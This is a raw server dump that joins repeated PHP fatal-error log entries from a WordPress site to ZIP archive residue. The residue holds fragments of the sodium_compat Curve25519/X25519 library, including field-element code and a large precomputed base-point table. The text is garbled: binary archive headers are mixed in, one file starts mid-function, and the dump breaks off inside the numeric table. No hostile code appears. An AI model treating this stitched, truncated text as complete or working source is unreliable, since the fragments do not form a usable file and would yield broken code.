"ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10 [10-Sep-2026 14:34:58 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10 [10-Sep-2026 14:44:52 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305/State.php on line 10 PK!["+"+src/Core32/X25519.phpnu[toInt(); $f1 = (int) $f[1]->toInt(); $f2 = (int) $f[2]->toInt(); $f3 = (int) $f[3]->toInt(); $f4 = (int) $f[4]->toInt(); $f5 = (int) $f[5]->toInt(); $f6 = (int) $f[6]->toInt(); $f7 = (int) $f[7]->toInt(); $f8 = (int) $f[8]->toInt(); $f9 = (int) $f[9]->toInt(); $g0 = (int) $g[0]->toInt(); $g1 = (int) $g[1]->toInt(); $g2 = (int) $g[2]->toInt(); $g3 = (int) $g[3]->toInt(); $g4 = (int) $g[4]->toInt(); $g5 = (int) $g[5]->toInt(); $g6 = (int) $g[6]->toInt(); $g7 = (int) $g[7]->toInt(); $g8 = (int) $g[8]->toInt(); $g9 = (int) $g[9]->toInt(); $b = -$b; /** @var int $x0 */ $x0 = ($f0 ^ $g0) & $b; /** @var int $x1 */ $x1 = ($f1 ^ $g1) & $b; /** @var int $x2 */ $x2 = ($f2 ^ $g2) & $b; /** @var int $x3 */ $x3 = ($f3 ^ $g3) & $b; /** @var int $x4 */ $x4 = ($f4 ^ $g4) & $b; /** @var int $x5 */ $x5 = ($f5 ^ $g5) & $b; /** @var int $x6 */ $x6 = ($f6 ^ $g6) & $b; /** @var int $x7 */ $x7 = ($f7 ^ $g7) & $b; /** @var int $x8 */ $x8 = ($f8 ^ $g8) & $b; /** @var int $x9 */ $x9 = ($f9 ^ $g9) & $b; $f[0] = ParagonIE_Sodium_Core32_Int32::fromInt($f0 ^ $x0); $f[1] = ParagonIE_Sodium_Core32_Int32::fromInt($f1 ^ $x1); $f[2] = ParagonIE_Sodium_Core32_Int32::fromInt($f2 ^ $x2); $f[3] = ParagonIE_Sodium_Core32_Int32::fromInt($f3 ^ $x3); $f[4] = ParagonIE_Sodium_Core32_Int32::fromInt($f4 ^ $x4); $f[5] = ParagonIE_Sodium_Core32_Int32::fromInt($f5 ^ $x5); $f[6] = ParagonIE_Sodium_Core32_Int32::fromInt($f6 ^ $x6); $f[7] = ParagonIE_Sodium_Core32_Int32::fromInt($f7 ^ $x7); $f[8] = ParagonIE_Sodium_Core32_Int32::fromInt($f8 ^ $x8); $f[9] = ParagonIE_Sodium_Core32_Int32::fromInt($f9 ^ $x9); $g[0] = ParagonIE_Sodium_Core32_Int32::fromInt($g0 ^ $x0); $g[1] = ParagonIE_Sodium_Core32_Int32::fromInt($g1 ^ $x1); $g[2] = ParagonIE_Sodium_Core32_Int32::fromInt($g2 ^ $x2); $g[3] = ParagonIE_Sodium_Core32_Int32::fromInt($g3 ^ $x3); $g[4] = ParagonIE_Sodium_Core32_Int32::fromInt($g4 ^ $x4); $g[5] = ParagonIE_Sodium_Core32_Int32::fromInt($g5 ^ $x5); $g[6] = ParagonIE_Sodium_Core32_Int32::fromInt($g6 ^ $x6); $g[7] = ParagonIE_Sodium_Core32_Int32::fromInt($g7 ^ $x7); $g[8] = ParagonIE_Sodium_Core32_Int32::fromInt($g8 ^ $x8); $g[9] = ParagonIE_Sodium_Core32_Int32::fromInt($g9 ^ $x9); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedMethodCall */ public static function fe_mul121666(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { /** @var array $h */ $h = array(); for ($i = 0; $i < 10; ++$i) { $h[$i] = $f[$i]->toInt64()->mulInt(121666, 17); } $carry9 = $h[9]->addInt(1 << 24)->shiftRight(25); $h[0] = $h[0]->addInt64($carry9->mulInt(19, 5)); $h[9] = $h[9]->subInt64($carry9->shiftLeft(25)); $carry1 = $h[1]->addInt(1 << 24)->shiftRight(25); $h[2] = $h[2]->addInt64($carry1); $h[1] = $h[1]->subInt64($carry1->shiftLeft(25)); $carry3 = $h[3]->addInt(1 << 24)->shiftRight(25); $h[4] = $h[4]->addInt64($carry3); $h[3] = $h[3]->subInt64($carry3->shiftLeft(25)); $carry5 = $h[5]->addInt(1 << 24)->shiftRight(25); $h[6] = $h[6]->addInt64($carry5); $h[5] = $h[5]->subInt64($carry5->shiftLeft(25)); $carry7 = $h[7]->addInt(1 << 24)->shiftRight(25); $h[8] = $h[8]->addInt64($carry7); $h[7] = $h[7]->subInt64($carry7->shiftLeft(25)); $carry0 = $h[0]->addInt(1 << 25)->shiftRight(26); $h[1] = $h[1]->addInt64($carry0); $h[0] = $h[0]->subInt64($carry0->shiftLeft(26)); $carry2 = $h[2]->addInt(1 << 25)->shiftRight(26); $h[3] = $h[3]->addInt64($carry2); $h[2] = $h[2]->subInt64($carry2->shiftLeft(26)); $carry4 = $h[4]->addInt(1 << 25)->shiftRight(26); $h[5] = $h[5]->addInt64($carry4); $h[4] = $h[4]->subInt64($carry4->shiftLeft(26)); $carry6 = $h[6]->addInt(1 << 25)->shiftRight(26); $h[7] = $h[7]->addInt64($carry6); $h[6] = $h[6]->subInt64($carry6->shiftLeft(26)); $carry8 = $h[8]->addInt(1 << 25)->shiftRight(26); $h[9] = $h[9]->addInt64($carry8); $h[8] = $h[8]->subInt64($carry8->shiftLeft(26)); for ($i = 0; $i < 10; ++$i) { $h[$i] = $h[$i]->toInt32(); } /** @var array $h2 */ $h2 = $h; return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($h2); } /** * @internal You should not use this directly from another application * * Inline comments preceded by # are from libsodium's ref10 code. * * @param string $n * @param string $p * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_scalarmult_curve25519_ref10($n, $p) { # for (i = 0;i < 32;++i) e[i] = n[i]; $e = '' . $n; # e[0] &= 248; $e[0] = self::intToChr( self::chrToInt($e[0]) & 248 ); # e[31] &= 127; # e[31] |= 64; $e[31] = self::intToChr( (self::chrToInt($e[31]) & 127) | 64 ); # fe_frombytes(x1,p); $x1 = self::fe_frombytes($p); # fe_1(x2); $x2 = self::fe_1(); # fe_0(z2); $z2 = self::fe_0(); # fe_copy(x3,x1); $x3 = self::fe_copy($x1); # fe_1(z3); $z3 = self::fe_1(); # swap = 0; /** @var int $swap */ $swap = 0; # for (pos = 254;pos >= 0;--pos) { for ($pos = 254; $pos >= 0; --$pos) { # b = e[pos / 8] >> (pos & 7); /** @var int $b */ $b = self::chrToInt( $e[(int) floor($pos / 8)] ) >> ($pos & 7); # b &= 1; $b &= 1; # swap ^= b; $swap ^= $b; # fe_cswap(x2,x3,swap); self::fe_cswap($x2, $x3, $swap); # fe_cswap(z2,z3,swap); self::fe_cswap($z2, $z3, $swap); # swap = b; /** @var int $swap */ $swap = $b; # fe_sub(tmp0,x3,z3); $tmp0 = self::fe_sub($x3, $z3); # fe_sub(tmp1,x2,z2); $tmp1 = self::fe_sub($x2, $z2); # fe_add(x2,x2,z2); $x2 = self::fe_add($x2, $z2); # fe_add(z2,x3,z3); $z2 = self::fe_add($x3, $z3); # fe_mul(z3,tmp0,x2); $z3 = self::fe_mul($tmp0, $x2); # fe_mul(z2,z2,tmp1); $z2 = self::fe_mul($z2, $tmp1); # fe_sq(tmp0,tmp1); $tmp0 = self::fe_sq($tmp1); # fe_sq(tmp1,x2); $tmp1 = self::fe_sq($x2); # fe_add(x3,z3,z2); $x3 = self::fe_add($z3, $z2); # fe_sub(z2,z3,z2); $z2 = self::fe_sub($z3, $z2); # fe_mul(x2,tmp1,tmp0); $x2 = self::fe_mul($tmp1, $tmp0); # fe_sub(tmp1,tmp1,tmp0); $tmp1 = self::fe_sub($tmp1, $tmp0); # fe_sq(z2,z2); $z2 = self::fe_sq($z2); # fe_mul121666(z3,tmp1); $z3 = self::fe_mul121666($tmp1); # fe_sq(x3,x3); $x3 = self::fe_sq($x3); # fe_add(tmp0,tmp0,z3); $tmp0 = self::fe_add($tmp0, $z3); # fe_mul(z3,x1,z2); $z3 = self::fe_mul($x1, $z2); # fe_mul(z2,tmp1,tmp0); $z2 = self::fe_mul($tmp1, $tmp0); } # fe_cswap(x2,x3,swap); self::fe_cswap($x2, $x3, $swap); # fe_cswap(z2,z3,swap); self::fe_cswap($z2, $z3, $swap); # fe_invert(z2,z2); $z2 = self::fe_invert($z2); # fe_mul(x2,x2,z2); $x2 = self::fe_mul($x2, $z2); # fe_tobytes(q,x2); return (string) self::fe_tobytes($x2); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsY * @param ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsZ * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError */ public static function edwards_to_montgomery( ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsY, ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsZ ) { $tempX = self::fe_add($edwardsZ, $edwardsY); $tempZ = self::fe_sub($edwardsZ, $edwardsY); $tempZ = self::fe_invert($tempZ); return self::fe_mul($tempX, $tempZ); } /** * @internal You should not use this directly from another application * * @param string $n * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_scalarmult_curve25519_ref10_base($n) { # for (i = 0;i < 32;++i) e[i] = n[i]; $e = '' . $n; # e[0] &= 248; $e[0] = self::intToChr( self::chrToInt($e[0]) & 248 ); # e[31] &= 127; # e[31] |= 64; $e[31] = self::intToChr( (self::chrToInt($e[31]) & 127) | 64 ); $A = self::ge_scalarmult_base($e); if ( !($A->Y instanceof ParagonIE_Sodium_Core32_Curve25519_Fe) || !($A->Z instanceof ParagonIE_Sodium_Core32_Curve25519_Fe) ) { throw new TypeError('Null points encountered'); } $pk = self::edwards_to_montgomery($A->Y, $A->Z); return self::fe_tobytes($pk); } } PK!՗ilzzsrc/Core32/Curve25519/Fe.phpnu[ */ protected $container = array(); /** * @var int */ protected $size = 10; /** * @internal You should not use this directly from another application * * @param array $array * @param bool $save_indexes * @return self * @throws SodiumException * @throws TypeError */ public static function fromArray($array, $save_indexes = null) { $count = count($array); if ($save_indexes) { $keys = array_keys($array); } else { $keys = range(0, $count - 1); } $array = array_values($array); $obj = new ParagonIE_Sodium_Core32_Curve25519_Fe(); if ($save_indexes) { for ($i = 0; $i < $count; ++$i) { $array[$i]->overflow = 0; $obj->offsetSet($keys[$i], $array[$i]); } } else { for ($i = 0; $i < $count; ++$i) { if (!($array[$i] instanceof ParagonIE_Sodium_Core32_Int32)) { throw new TypeError('Expected ParagonIE_Sodium_Core32_Int32'); } $array[$i]->overflow = 0; $obj->offsetSet($i, $array[$i]); } } return $obj; } /** * @internal You should not use this directly from another application * * @param array $array * @param bool $save_indexes * @return self * @throws SodiumException * @throws TypeError */ public static function fromIntArray($array, $save_indexes = null) { $count = count($array); if ($save_indexes) { $keys = array_keys($array); } else { $keys = range(0, $count - 1); } $array = array_values($array); $set = array(); /** @var int $i */ /** @var int $v */ foreach ($array as $i => $v) { $set[$i] = ParagonIE_Sodium_Core32_Int32::fromInt($v); } $obj = new ParagonIE_Sodium_Core32_Curve25519_Fe(); if ($save_indexes) { for ($i = 0; $i < $count; ++$i) { $set[$i]->overflow = 0; $obj->offsetSet($keys[$i], $set[$i]); } } else { for ($i = 0; $i < $count; ++$i) { $set[$i]->overflow = 0; $obj->offsetSet($i, $set[$i]); } } return $obj; } /** * @internal You should not use this directly from another application * * @param mixed $offset * @param mixed $value * @return void * @throws SodiumException * @throws TypeError */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!($value instanceof ParagonIE_Sodium_Core32_Int32)) { throw new InvalidArgumentException('Expected an instance of ParagonIE_Sodium_Core32_Int32'); } if (is_null($offset)) { $this->container[] = $value; } else { ParagonIE_Sodium_Core32_Util::declareScalarType($offset, 'int', 1); $this->container[(int) $offset] = $value; } } /** * @internal You should not use this directly from another application * * @param mixed $offset * @return bool * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param mixed $offset * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param mixed $offset * @return ParagonIE_Sodium_Core32_Int32 * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { if (!isset($this->container[$offset])) { $this->container[(int) $offset] = new ParagonIE_Sodium_Core32_Int32(); } /** @var ParagonIE_Sodium_Core32_Int32 $get */ $get = $this->container[$offset]; return $get; } /** * @internal You should not use this directly from another application * * @return array */ public function __debugInfo() { if (empty($this->container)) { return array(); } $c = array( (int) ($this->container[0]->toInt()), (int) ($this->container[1]->toInt()), (int) ($this->container[2]->toInt()), (int) ($this->container[3]->toInt()), (int) ($this->container[4]->toInt()), (int) ($this->container[5]->toInt()), (int) ($this->container[6]->toInt()), (int) ($this->container[7]->toInt()), (int) ($this->container[8]->toInt()), (int) ($this->container[9]->toInt()) ); return array(implode(', ', $c)); } } PK!src/Core32/Curve25519/H.phpnu[>>> Basically, int[32][8][3][10] */ protected static $base = array( array( array( array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605), array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378), array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546), ), array( array(-12815894, -12976347, -21581243, 11784320, -25355658, -2750717, -11717903, -3814571, -358445, -10211303), array(-21703237, 6903825, 27185491, 6451973, -29577724, -9554005, -15616551, 11189268, -26829678, -5319081), array(26966642, 11152617, 32442495, 15396054, 14353839, -12752335, -3128826, -9541118, -15472047, -4166697), ), array( array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024), array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574), array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357), ), array( array(-17036878, 13921892, 10945806, -6033431, 27105052, -16084379, -28926210, 15006023, 3284568, -6276540), array(23599295, -8306047, -11193664, -7687416, 13236774, 10506355, 7464579, 9656445, 13059162, 10374397), array(7798556, 16710257, 3033922, 2874086, 28997861, 2835604, 32406664, -3839045, -641708, -101325), ), array( array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380), array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306), array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942), ), array( array(-15371964, -12862754, 32573250, 4720197, -26436522, 5875511, -19188627, -15224819, -9818940, -12085777), array(-8549212, 109983, 15149363, 2178705, 22900618, 4543417, 3044240, -15689887, 1762328, 14866737), array(-18199695, -15951423, -10473290, 1707278, -17185920, 3916101, -28236412, 3959421, 27914454, 4383652), ), array( array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766), array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701), array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300), ), array( array(14499471, -2729599, -33191113, -4254652, 28494862, 14271267, 30290735, 10876454, -33154098, 2381726), array(-7195431, -2655363, -14730155, 462251, -27724326, 3941372, -6236617, 3696005, -32300832, 15351955), array(27431194, 8222322, 16448760, -3907995, -18707002, 11938355, -32961401, -2970515, 29551813, 10109425), ), ), array( array( array(-13657040, -13155431, -31283750, 11777098, 21447386, 6519384, -2378284, -1627556, 10092783, -4764171), array(27939166, 14210322, 4677035, 16277044, -22964462, -12398139, -32508754, 12005538, -17810127, 12803510), array(17228999, -15661624, -1233527, 300140, -1224870, -11714777, 30364213, -9038194, 18016357, 4397660), ), array( array(-10958843, -7690207, 4776341, -14954238, 27850028, -15602212, -26619106, 14544525, -17477504, 982639), array(29253598, 15796703, -2863982, -9908884, 10057023, 3163536, 7332899, -4120128, -21047696, 9934963), array(5793303, 16271923, -24131614, -10116404, 29188560, 1206517, -14747930, 4559895, -30123922, -10897950), ), array( array(-27643952, -11493006, 16282657, -11036493, 28414021, -15012264, 24191034, 4541697, -13338309, 5500568), array(12650548, -1497113, 9052871, 11355358, -17680037, -8400164, -17430592, 12264343, 10874051, 13524335), array(25556948, -3045990, 714651, 2510400, 23394682, -10415330, 33119038, 5080568, -22528059, 5376628), ), array( array(-26088264, -4011052, -17013699, -3537628, -6726793, 1920897, -22321305, -9447443, 4535768, 1569007), array(-2255422, 14606630, -21692440, -8039818, 28430649, 8775819, -30494562, 3044290, 31848280, 12543772), array(-22028579, 2943893, -31857513, 6777306, 13784462, -4292203, -27377195, -2062731, 7718482, 14474653), ), array( array(2385315, 2454213, -22631320, 46603, -4437935, -15680415, 656965, -7236665, 24316168, -5253567), array(13741529, 10911568, -33233417, -8603737, -20177830, -1033297, 33040651, -13424532, -20729456, 8321686), array(21060490, -2212744, 15712757, -4336099, 1639040, 10656336, 23845965, -11874838, -9984458, 608372), ), array( array(-13672732, -15087586, -10889693, -7557059, -6036909, 11305547, 1123968, -6780577, 27229399, 23887), array(-23244140, -294205, -11744728, 14712571, -29465699, -2029617, 12797024, -6440308, -1633405, 16678954), array(-29500620, 4770662, -16054387, 14001338, 7830047, 9564805, -1508144, -4795045, -17169265, 4904953), ), array( array(24059557, 14617003, 19037157, -15039908, 19766093, -14906429, 5169211, 16191880, 2128236, -4326833), array(-16981152, 4124966, -8540610, -10653797, 30336522, -14105247, -29806336, 916033, -6882542, -2986532), array(-22630907, 12419372, -7134229, -7473371, -16478904, 16739175, 285431, 2763829, 15736322, 4143876), ), array( array(2379352, 11839345, -4110402, -5988665, 11274298, 794957, 212801, -14594663, 23527084, -16458268), array(33431127, -11130478, -17838966, -15626900, 8909499, 8376530, -32625340, 4087881, -15188911, -14416214), array(1767683, 7197987, -13205226, -2022635, -13091350, 448826, 5799055, 4357868, -4774191, -16323038), ), ), array( array( array(6721966, 13833823, -23523388, -1551314, 26354293, -11863321, 23365147, -3949732, 7390890, 2759800), array(4409041, 2052381, 23373853, 10530217, 7676779, -12885954, 21302353, -4264057, 1244380, -12919645), array(-4421239, 7169619, 4982368, -2957590, 30256825, -2777540, 14086413, 9208236, 15886429, 16489664), ), array( array(1996075, 10375649, 14346367, 13311202, -6874135, -16438411, -13693198, 398369, -30606455, -712933), array(-25307465, 9795880, -2777414, 14878809, -33531835, 14780363, 13348553, 12076947, -30836462, 5113182), array(-17770784, 11797796, 31950843, 13929123, -25888302, 12288344, -30341101, -7336386, 13847711, 5387222), ), array( array(-18582163, -3416217, 17824843, -2340966, 22744343, -10442611, 8763061, 3617786, -19600662, 10370991), array(20246567, -14369378, 22358229, -543712, 18507283, -10413996, 14554437, -8746092, 32232924, 16763880), array(9648505, 10094563, 26416693, 14745928, -30374318, -6472621, 11094161, 15689506, 3140038, -16510092), ), array( array(-16160072, 5472695, 31895588, 4744994, 8823515, 10365685, -27224800, 9448613, -28774454, 366295), array(19153450, 11523972, -11096490, -6503142, -24647631, 5420647, 28344573, 8041113, 719605, 11671788), array(8678025, 2694440, -6808014, 2517372, 4964326, 11152271, -15432916, -15266516, 27000813, -10195553), ), array( array(-15157904, 7134312, 8639287, -2814877, -7235688, 10421742, 564065, 5336097, 6750977, -14521026), array(11836410, -3979488, 26297894, 16080799, 23455045, 15735944, 1695823, -8819122, 8169720, 16220347), array(-18115838, 8653647, 17578566, -6092619, -8025777, -16012763, -11144307, -2627664, -5990708, -14166033), ), array( array(-23308498, -10968312, 15213228, -10081214, -30853605, -11050004, 27884329, 2847284, 2655861, 1738395), array(-27537433, -14253021, -25336301, -8002780, -9370762, 8129821, 21651608, -3239336, -19087449, -11005278), array(1533110, 3437855, 23735889, 459276, 29970501, 11335377, 26030092, 5821408, 10478196, 8544890), ), array( array(32173121, -16129311, 24896207, 3921497, 22579056, -3410854, 19270449, 12217473, 17789017, -3395995), array(-30552961, -2228401, -15578829, -10147201, 13243889, 517024, 15479401, -3853233, 30460520, 1052596), array(-11614875, 13323618, 32618793, 8175907, -15230173, 12596687, 27491595, -4612359, 3179268, -9478891), ), array( array(31947069, -14366651, -4640583, -15339921, -15125977, -6039709, -14756777, -16411740, 19072640, -9511060), array(11685058, 11822410, 3158003, -13952594, 33402194, -4165066, 5977896, -5215017, 473099, 5040608), array(-20290863, 8198642, -27410132, 11602123, 1290375, -2799760, 28326862, 1721092, -19558642, -3131606), ), ), array( array( array(7881532, 10687937, 7578723, 7738378, -18951012, -2553952, 21820786, 8076149, -27868496, 11538389), array(-19935666, 3899861, 18283497, -6801568, -15728660, -11249211, 8754525, 7446702, -5676054, 5797016), array(-11295600, -3793569, -15782110, -7964573, 12708869, -8456199, 2014099, -9050574, -2369172, -5877341), ), array( array(-22472376, -11568741, -27682020, 1146375, 18956691, 16640559, 1192730, -3714199, 15123619, 10811505), array(14352098, -3419715, -18942044, 10822655, 32750596, 4699007, -70363, 15776356, -28886779, -11974553), array(-28241164, -8072475, -4978962, -5315317, 29416931, 1847569, -20654173, -16484855, 4714547, -9600655), ), array( array(15200332, 8368572, 19679101, 15970074, -31872674, 1959451, 24611599, -4543832, -11745876, 12340220), array(12876937, -10480056, 33134381, 6590940, -6307776, 14872440, 9613953, 8241152, 15370987, 9608631), array(-4143277, -12014408, 8446281, -391603, 4407738, 13629032, -7724868, 15866074, -28210621, -8814099), ), array( array(26660628, -15677655, 8393734, 358047, -7401291, 992988, -23904233, 858697, 20571223, 8420556), array(14620715, 13067227, -15447274, 8264467, 14106269, 15080814, 33531827, 12516406, -21574435, -12476749), array(236881, 10476226, 57258, -14677024, 6472998, 2466984, 17258519, 7256740, 8791136, 15069930), ), array( array(1276410, -9371918, 22949635, -16322807, -23493039, -5702186, 14711875, 4874229, -30663140, -2331391), array(5855666, 4990204, -13711848, 7294284, -7804282, 1924647, -1423175, -7912378, -33069337, 9234253), array(20590503, -9018988, 31529744, -7352666, -2706834, 10650548, 31559055, -11609587, 18979186, 13396066), ), array( array(24474287, 4968103, 22267082, 4407354, 24063882, -8325180, -18816887, 13594782, 33514650, 7021958), array(-11566906, -6565505, -21365085, 15928892, -26158305, 4315421, -25948728, -3916677, -21480480, 12868082), array(-28635013, 13504661, 19988037, -2132761, 21078225, 6443208, -21446107, 2244500, -12455797, -8089383), ), array( array(-30595528, 13793479, -5852820, 319136, -25723172, -6263899, 33086546, 8957937, -15233648, 5540521), array(-11630176, -11503902, -8119500, -7643073, 2620056, 1022908, -23710744, -1568984, -16128528, -14962807), array(23152971, 775386, 27395463, 14006635, -9701118, 4649512, 1689819, 892185, -11513277, -15205948), ), array( array(9770129, 9586738, 26496094, 4324120, 1556511, -3550024, 27453819, 4763127, -19179614, 5867134), array(-32765025, 1927590, 31726409, -4753295, 23962434, -16019500, 27846559, 5931263, -29749703, -16108455), array(27461885, -2977536, 22380810, 1815854, -23033753, -3031938, 7283490, -15148073, -19526700, 7734629), ), ), array( array( array(-8010264, -9590817, -11120403, 6196038, 29344158, -13430885, 7585295, -3176626, 18549497, 15302069), array(-32658337, -6171222, -7672793, -11051681, 6258878, 13504381, 10458790, -6418461, -8872242, 8424746), array(24687205, 8613276, -30667046, -3233545, 1863892, -1830544, 19206234, 7134917, -11284482, -828919), ), array( array(11334899, -9218022, 8025293, 12707519, 17523892, -10476071, 10243738, -14685461, -5066034, 16498837), array(8911542, 6887158, -9584260, -6958590, 11145641, -9543680, 17303925, -14124238, 6536641, 10543906), array(-28946384, 15479763, -17466835, 568876, -1497683, 11223454, -2669190, -16625574, -27235709, 8876771), ), array( array(-25742899, -12566864, -15649966, -846607, -33026686, -796288, -33481822, 15824474, -604426, -9039817), array(10330056, 70051, 7957388, -9002667, 9764902, 15609756, 27698697, -4890037, 1657394, 3084098), array(10477963, -7470260, 12119566, -13250805, 29016247, -5365589, 31280319, 14396151, -30233575, 15272409), ), array( array(-12288309, 3169463, 28813183, 16658753, 25116432, -5630466, -25173957, -12636138, -25014757, 1950504), array(-26180358, 9489187, 11053416, -14746161, -31053720, 5825630, -8384306, -8767532, 15341279, 8373727), array(28685821, 7759505, -14378516, -12002860, -31971820, 4079242, 298136, -10232602, -2878207, 15190420), ), array( array(-32932876, 13806336, -14337485, -15794431, -24004620, 10940928, 8669718, 2742393, -26033313, -6875003), array(-1580388, -11729417, -25979658, -11445023, -17411874, -10912854, 9291594, -16247779, -12154742, 6048605), array(-30305315, 14843444, 1539301, 11864366, 20201677, 1900163, 13934231, 5128323, 11213262, 9168384), ), array( array(-26280513, 11007847, 19408960, -940758, -18592965, -4328580, -5088060, -11105150, 20470157, -16398701), array(-23136053, 9282192, 14855179, -15390078, -7362815, -14408560, -22783952, 14461608, 14042978, 5230683), array(29969567, -2741594, -16711867, -8552442, 9175486, -2468974, 21556951, 3506042, -5933891, -12449708), ), array( array(-3144746, 8744661, 19704003, 4581278, -20430686, 6830683, -21284170, 8971513, -28539189, 15326563), array(-19464629, 10110288, -17262528, -3503892, -23500387, 1355669, -15523050, 15300988, -20514118, 9168260), array(-5353335, 4488613, -23803248, 16314347, 7780487, -15638939, -28948358, 9601605, 33087103, -9011387), ), array( array(-19443170, -15512900, -20797467, -12445323, -29824447, 10229461, -27444329, -15000531, -5996870, 15664672), array(23294591, -16632613, -22650781, -8470978, 27844204, 11461195, 13099750, -2460356, 18151676, 13417686), array(-24722913, -4176517, -31150679, 5988919, -26858785, 6685065, 1661597, -12551441, 15271676, -15452665), ), ), array( array( array(11433042, -13228665, 8239631, -5279517, -1985436, -725718, -18698764, 2167544, -6921301, -13440182), array(-31436171, 15575146, 30436815, 12192228, -22463353, 9395379, -9917708, -8638997, 12215110, 12028277), array(14098400, 6555944, 23007258, 5757252, -15427832, -12950502, 30123440, 4617780, -16900089, -655628), ), array( array(-4026201, -15240835, 11893168, 13718664, -14809462, 1847385, -15819999, 10154009, 23973261, -12684474), array(-26531820, -3695990, -1908898, 2534301, -31870557, -16550355, 18341390, -11419951, 32013174, -10103539), array(-25479301, 10876443, -11771086, -14625140, -12369567, 1838104, 21911214, 6354752, 4425632, -837822), ), array( array(-10433389, -14612966, 22229858, -3091047, -13191166, 776729, -17415375, -12020462, 4725005, 14044970), array(19268650, -7304421, 1555349, 8692754, -21474059, -9910664, 6347390, -1411784, -19522291, -16109756), array(-24864089, 12986008, -10898878, -5558584, -11312371, -148526, 19541418, 8180106, 9282262, 10282508), ), array( array(-26205082, 4428547, -8661196, -13194263, 4098402, -14165257, 15522535, 8372215, 5542595, -10702683), array(-10562541, 14895633, 26814552, -16673850, -17480754, -2489360, -2781891, 6993761, -18093885, 10114655), array(-20107055, -929418, 31422704, 10427861, -7110749, 6150669, -29091755, -11529146, 25953725, -106158), ), array( array(-4234397, -8039292, -9119125, 3046000, 2101609, -12607294, 19390020, 6094296, -3315279, 12831125), array(-15998678, 7578152, 5310217, 14408357, -33548620, -224739, 31575954, 6326196, 7381791, -2421839), array(-20902779, 3296811, 24736065, -16328389, 18374254, 7318640, 6295303, 8082724, -15362489, 12339664), ), array( array(27724736, 2291157, 6088201, -14184798, 1792727, 5857634, 13848414, 15768922, 25091167, 14856294), array(-18866652, 8331043, 24373479, 8541013, -701998, -9269457, 12927300, -12695493, -22182473, -9012899), array(-11423429, -5421590, 11632845, 3405020, 30536730, -11674039, -27260765, 13866390, 30146206, 9142070), ), array( array(3924129, -15307516, -13817122, -10054960, 12291820, -668366, -27702774, 9326384, -8237858, 4171294), array(-15921940, 16037937, 6713787, 16606682, -21612135, 2790944, 26396185, 3731949, 345228, -5462949), array(-21327538, 13448259, 25284571, 1143661, 20614966, -8849387, 2031539, -12391231, -16253183, -13582083), ), array( array(31016211, -16722429, 26371392, -14451233, -5027349, 14854137, 17477601, 3842657, 28012650, -16405420), array(-5075835, 9368966, -8562079, -4600902, -15249953, 6970560, -9189873, 16292057, -8867157, 3507940), array(29439664, 3537914, 23333589, 6997794, -17555561, -11018068, -15209202, -15051267, -9164929, 6580396), ), ), array( array( array(-12185861, -7679788, 16438269, 10826160, -8696817, -6235611, 17860444, -9273846, -2095802, 9304567), array(20714564, -4336911, 29088195, 7406487, 11426967, -5095705, 14792667, -14608617, 5289421, -477127), array(-16665533, -10650790, -6160345, -13305760, 9192020, -1802462, 17271490, 12349094, 26939669, -3752294), ), array( array(-12889898, 9373458, 31595848, 16374215, 21471720, 13221525, -27283495, -12348559, -3698806, 117887), array(22263325, -6560050, 3984570, -11174646, -15114008, -566785, 28311253, 5358056, -23319780, 541964), array(16259219, 3261970, 2309254, -15534474, -16885711, -4581916, 24134070, -16705829, -13337066, -13552195), ), array( array(9378160, -13140186, -22845982, -12745264, 28198281, -7244098, -2399684, -717351, 